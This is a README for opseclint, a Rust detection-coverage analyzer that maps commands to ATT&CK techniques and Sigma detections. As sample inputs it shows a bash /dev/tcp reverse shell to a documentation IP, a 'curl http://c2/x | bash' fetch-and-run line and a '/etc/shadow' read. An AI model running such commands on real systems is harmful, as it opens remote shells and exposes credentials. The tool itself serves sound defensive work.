opseclint 0.1.2

Detection-coverage analyzer for Linux/auditd, Windows/Sysmon, and macOS/Endpoint Security: resolve shell/command actions to ATT&CK techniques, the telemetry they emit, and the detections that would fire.
opseclint-0.1.2 is not a library.

Crates.ioDownloadsCIMarketplaceLast CommitStargazersIssuesMIT License

opseclint demo

About The Project

opseclint points at a command, a script, or a post-exploitation playbook and statically resolves each action to the MITRE ATT&CK technique(s) it implements, the host telemetry it emits, and the detections that would fire — each with a detectability score. It answers one question: “what would a defender see?” across Linux/auditd, Windows/Sysmon, and macOS/Endpoint Security.

$ opseclint -c 'bash -i >& /dev/tcp/198.51.100.10/4444 0>&1'

opseclint — detection-coverage report (linux-auditd)
1 line analyzed, 1 finding

  L1  [CRITICAL 82]  Bash /dev/tcp reverse shell — interactive C2 channel
        technique  T1059.004 Command and Scripting Interpreter: Unix Shell
        telemetry  bash execve() followed by connect() to attacker IP
        detection  Sigma: Reverse shell via /dev/tcp redirection (proc_creation_lnx)

summary  loudest action: CRITICAL (82)

Who it's for

  • Detection engineers validating coverage — “if an operator ran this, would my ruleset catch it, and with what telemetry?”
  • Purple teams mapping an engagement's actions to expected detections.
  • Red teams (under authorization) reasoning about a playbook's telemetry footprint.

[!NOTE] opseclint describes detectability — the defensive signal an action generates. It is not an evasion tool: it does not recommend “quieter” alternatives. Absence of a finding means only that nothing in the knowledge base matched — never that an action is stealthy.

Built With

Rust MITRE ATT&CK Sigma SARIF

Getting Started

Prerequisites

Nothing at runtime — opseclint ships as a single self-contained binary. To build from source you need a stable Rust toolchain (edition 2024).

Installation

cargo install opseclint          # from crates.io

Or grab a prebuilt binary for Linux, macOS (Intel + Apple Silicon), or Windows from the Releases page, or build from a checkout:

cargo build --release            # -> target/release/opseclint

Docker — a tiny (~750 KB, scratch-based) image is published to GHCR:

docker run --rm -v "$PWD":/work ghcr.io/gerrrt/opseclint /work/script.sh
docker run --rm ghcr.io/gerrrt/opseclint -c 'curl http://c2/x | bash'

Usage

opseclint script.sh                 # analyze a file (Linux/auditd by default)
opseclint -c 'sudo cat /etc/shadow' # analyze a single command
cat playbook.sh | opseclint         # read from stdin
opseclint app.ps1 --platform windows-sysmon   # analyze against Windows/Sysmon

opseclint script.sh --min 50        # only show findings >= detectability 50
opseclint script.sh --json          # machine-readable output
opseclint script.sh --sarif         # SARIF 2.1.0 (GitHub code scanning)
opseclint script.sh --sigma ./sigma # enrich with a real SigmaHQ checkout
opseclint script.sh --ci --threshold 70   # exit 1 if loudest action >= 70

Platforms

Select the host telemetry model with --platform (default linux-auditd):

Platform Telemetry model
linux-auditd Linux with auditd / EDR syscall events
windows-sysmon Windows with Sysmon (Event IDs) / Security log
macos-es macOS with Endpoint Security (ESF) / unified log

Each platform has its own embedded knowledge base, so whoami resolves to Linux execve() telemetry, a Windows Sysmon EID 1, or a macOS ESF NOTIFY_EXEC depending on the target. Windows program names are normalized (C:\…\certutil.execertutil). When combined with --sigma, rules are filtered to the platform's logsource.product.

Real Sigma rules

By default, detection references in the seed KB are representative. Point --sigma at a checkout of SigmaHQ/sigma (or any directory of Sigma YAML) and opseclint indexes every rule by its ATT&CK technique tag, then replaces each finding's references with the genuine rule titles and UUIDs that match — platform-relevant rules only.

git clone --depth 1 https://github.com/SigmaHQ/sigma
opseclint examples/recon.sh --sigma sigma/rules
# detection  Sigma: Access To Sudoers File (2c9d1141-…) (high confidence)

The parsed index is cached to disk (fingerprinted by the ruleset directory), so repeat runs against a large checkout skip re-parsing and note [cached] on a hit. Override the location with OPSECLINT_CACHE_DIR; --no-sigma-cache bypasses it.

GitHub code scanning

--sarif emits SARIF 2.1.0, so findings surface in a repo's Security → Code scanning tab, tagged with their ATT&CK technique and a security-severity derived from the detectability score. See .github/workflows/ci.yml for an upload job.

Use as a GitHub Action

A composite action (action.yml) downloads a released binary and analyzes a path in CI (Linux runners):

- uses: Gerrrt/opseclint@v0.1.1
  with:
    path: examples/
    platform: linux-auditd       # or windows-sysmon | macos-es
    fail-threshold: "75"         # optional: fail the job on a loud action
    sarif-file: opseclint.sarif  # optional: emit SARIF...

- uses: github/codeql-action/upload-sarif@v3   # ...then upload it
  with:
    sarif_file: opseclint.sarif

Detectability score

A 0–100 estimate of how strongly an action surfaces in defensive telemetry (higher = louder), bucketed as:

Score Severity
0–24 LOW
25–49 MEDIUM
50–74 HIGH
75–100 CRITICAL

--ci turns this into a gate: it exits non-zero when the loudest modeled action meets or exceeds --threshold, so a team can fail a pipeline on tradecraft that exceeds an agreed noise budget.

How it works

  1. Parser (parser.rs) — quote-aware tokenizer that strips comments and VAR=value assignments, splits on control operators, unwraps sudo/env/…, and resolves each segment to a program + arguments. A preprocessing pass joins line continuations, resolves commands hidden in $(...)/backtick substitutions, and handles here-docs (body skipped as data unless it feeds a shell interpreter).
  2. Knowledge base (data/knowledge*.json) — one KB per platform; each entry maps a command (or a raw pattern) to ATT&CK techniques, the telemetry it emits, representative Sigma-style detections, and a detectability score.
  3. Analyzer (analyzer.rs) — matches every action against the KB, deduplicates per line, and ranks findings loudest-first.
  4. Report (report.rs) — terminal, JSON, or SARIF output, plus the CI gate.

All KBs are embedded at compile time, so opseclint ships as a single static binary with no runtime dependencies. Adding coverage is a data change, not a code change — see CONTRIBUTING.md.

Try it against the examples/ playbooks:

opseclint examples/recon.sh                                      # post-compromise recon (Linux)
opseclint examples/persistence.sh                                # accounts, cron, systemd, ld.so.preload, …
opseclint examples/defense-evasion.sh                            # SELinux/firewall/auditd off, log & history wiping
opseclint examples/windows-postex.ps1 --platform windows-sysmon  # Windows LOLBins, credential access
opseclint examples/macos-postex.sh    --platform macos-es        # keychain, Gatekeeper, launchd

Roadmap

  • Three platforms — Linux/auditd, Windows/Sysmon, macOS/Endpoint Security
  • Real SigmaHQ enrichment with an on-disk cache
  • SARIF output → GitHub code scanning
  • Distribution — crates.io, prebuilt binaries, a GitHub Action, and a GHCR image
  • Sigma rule-logic evaluatorFIRES / NO-FIRE / INDETERMINATE
  • --coverage-gaps — actions whose techniques have rules but where none fire
  • Deepen each KB and add EDR-specific telemetry mappings

See the open issues for the full list.

Contributing

Contributions make the open-source community an amazing place to learn and create. The most valuable contributions here are new detection coverage and false-positive/negative fixes — most of which are data changes, not code.

  1. Fork the project
  2. Create your feature branch (git checkout -b feat/amazing-coverage)
  3. Run the gates: cargo fmt --all --check, cargo clippy --all-targets -- -D warnings, cargo test
  4. Commit your changes (git commit -m 'Add some amazing coverage')
  5. Push to the branch (git push origin feat/amazing-coverage)
  6. Open a Pull Request

See CONTRIBUTING.md for the knowledge-base entry schema and conventions. By participating you agree to the Code of Conduct.

License

Distributed under the MIT License. See LICENSE for more information.

Contact

Garrett Allen — @Gerrrt

Project Link: https://github.com/Gerrrt/opseclint

Acknowledgments

Detection references in the seed KB are representative of publicly available Sigma logic and should be validated against your deployed ruleset before you rely on them.